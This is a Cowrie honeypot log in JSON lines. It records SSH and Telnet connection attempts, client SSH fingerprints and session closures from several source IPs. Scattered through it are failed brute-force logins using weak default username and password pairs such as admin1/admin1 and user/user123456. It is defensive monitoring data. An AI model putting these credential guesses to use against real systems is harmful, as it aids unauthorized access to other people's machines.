{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60834,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb1513ba26a3","protocol":"ssh","message":"New connection: 122.168.114.167:60834 (159.203.135.109:22) [session: cb1513ba26a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:04.848975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:07.114598Z","src_ip":"122.168.114.167","session":"cb1513ba26a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:07.118402Z","src_ip":"122.168.114.167","session":"cb1513ba26a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":35212,"dst_ip":"10.17.0.5","dst_port":22,"session":"d475d91f7d0b","protocol":"ssh","message":"New connection: 186.80.18.158:35212 (10.17.0.5:22) [session: d475d91f7d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:19.141383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:19.146694Z","src_ip":"186.80.18.158","session":"d475d91f7d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:19.223447Z","src_ip":"186.80.18.158","session":"d475d91f7d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"123456","message":"login attempt [user6/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:19.558233Z","src_ip":"186.80.18.158","session":"d475d91f7d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:20.638734Z","src_ip":"186.80.18.158","session":"d475d91f7d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:22.439538Z","src_ip":"122.168.114.167","session":"cb1513ba26a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":43846,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd0387a4207c","protocol":"telnet","message":"New connection: 13.72.73.58:43846 (10.17.0.5:23) [session: fd0387a4207c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:24.989738Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":43860,"dst_ip":"10.17.0.5","dst_port":23,"session":"848f0e7f2df0","protocol":"telnet","message":"New connection: 13.72.73.58:43860 (10.17.0.5:23) [session: 848f0e7f2df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:27.559987Z"}
{"eventid":"cowrie.session.closed","duration":"23.1","message":"Connection lost after 23.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:27.959036Z","src_ip":"122.168.114.167","session":"cb1513ba26a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":41336,"dst_ip":"10.17.0.5","dst_port":23,"session":"80addc5f6b78","protocol":"telnet","message":"New connection: 13.72.73.58:41336 (10.17.0.5:23) [session: 80addc5f6b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:28.681616Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":41338,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd62184aa96","protocol":"telnet","message":"New connection: 13.72.73.58:41338 (10.17.0.5:23) [session: 0fd62184aa96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:33.214231Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35172,"dst_ip":"159.203.135.109","dst_port":22,"session":"652133226d7b","protocol":"ssh","message":"New connection: 159.203.92.129:35172 (159.203.135.109:22) [session: 652133226d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:40.847763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:40.852836Z","src_ip":"159.203.92.129","session":"652133226d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:40.857722Z","src_ip":"159.203.92.129","session":"652133226d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"123456","message":"login attempt [ark/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:40.870307Z","src_ip":"159.203.92.129","session":"652133226d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:41.880512Z","src_ip":"159.203.92.129","session":"652133226d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34994,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87a8dc8645a","protocol":"ssh","message":"New connection: 122.168.114.167:34994 (159.203.135.109:22) [session: e87a8dc8645a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:42.801277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:48.813645Z","src_ip":"122.168.114.167","session":"e87a8dc8645a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:48.818901Z","src_ip":"122.168.114.167","session":"e87a8dc8645a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4374114c061","protocol":"telnet","message":"New connection: 13.72.73.58:59872 (10.17.0.5:23) [session: e4374114c061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:51.134001Z"}
{"eventid":"cowrie.session.closed","duration":30.216132402420044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:55.205701Z","src_ip":"13.72.73.58","session":"fd0387a4207c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725614309310913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:58.285410Z","src_ip":"13.72.73.58","session":"848f0e7f2df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735952138900757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:59.417456Z","src_ip":"13.72.73.58","session":"80addc5f6b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":33240,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df8841a4c9a","protocol":"telnet","message":"New connection: 13.72.73.58:33240 (10.17.0.5:23) [session: 2df8841a4c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:06:59.880136Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":33244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f43babae8d86","protocol":"telnet","message":"New connection: 13.72.73.58:33244 (10.17.0.5:23) [session: f43babae8d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:00.285925Z"}
{"eventid":"cowrie.session.closed","duration":31.883307218551636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:05.097420Z","src_ip":"13.72.73.58","session":"0fd62184aa96","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:12.709656Z","src_ip":"122.168.114.167","session":"e87a8dc8645a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":42274,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0757ede61d","protocol":"ssh","message":"New connection: 186.80.18.158:42274 (10.17.0.5:22) [session: 6d0757ede61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:16.362112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:16.367149Z","src_ip":"186.80.18.158","session":"6d0757ede61d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:16.450913Z","src_ip":"186.80.18.158","session":"6d0757ede61d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"Passw0rd","message":"login attempt [test2/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:16.786669Z","src_ip":"186.80.18.158","session":"6d0757ede61d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:17.868516Z","src_ip":"186.80.18.158","session":"6d0757ede61d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":60992,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c9dcb65b16","protocol":"telnet","message":"New connection: 13.72.73.58:60992 (10.17.0.5:23) [session: 23c9dcb65b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:18.984629Z"}
{"eventid":"cowrie.session.closed","duration":"36.3","message":"Connection lost after 36.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:19.061356Z","src_ip":"122.168.114.167","session":"e87a8dc8645a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.22.96","src_port":38846,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b766e2430d","protocol":"telnet","message":"New connection: 199.192.22.96:38846 (10.17.0.5:23) [session: c7b766e2430d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:19.440350Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.131.131.227","src_port":43120,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc9ad4a63ab","protocol":"ssh","message":"New connection: 104.131.131.227:43120 (10.17.0.5:22) [session: 2dc9ad4a63ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:20.114289Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:20.178907Z","src_ip":"104.131.131.227","session":"2dc9ad4a63ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40744,"dst_ip":"159.203.135.109","dst_port":22,"session":"077a0bf0b2e9","protocol":"ssh","message":"New connection: 159.203.92.129:40744 (159.203.135.109:22) [session: 077a0bf0b2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:21.517803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:21.523271Z","src_ip":"159.203.92.129","session":"077a0bf0b2e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:21.527827Z","src_ip":"159.203.92.129","session":"077a0bf0b2e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:21.540995Z","src_ip":"159.203.92.129","session":"077a0bf0b2e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.798951864242554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:21.932848Z","src_ip":"13.72.73.58","session":"e4374114c061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":58646,"dst_ip":"10.17.0.5","dst_port":23,"session":"af1360e0bc66","protocol":"telnet","message":"New connection: 13.72.73.58:58646 (10.17.0.5:23) [session: af1360e0bc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:22.408756Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:22.547315Z","src_ip":"159.203.92.129","session":"077a0bf0b2e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37406,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a8511916ae","protocol":"ssh","message":"New connection: 122.168.114.167:37406 (159.203.135.109:22) [session: 40a8511916ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:22.559675Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51330,"dst_ip":"159.203.135.109","dst_port":23,"session":"120c2b9c10ed","protocol":"telnet","message":"New connection: 185.26.126.47:51330 (159.203.135.109:23) [session: 120c2b9c10ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:26.491005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:28.175356Z","src_ip":"122.168.114.167","session":"40a8511916ae","protocol":"ssh"}
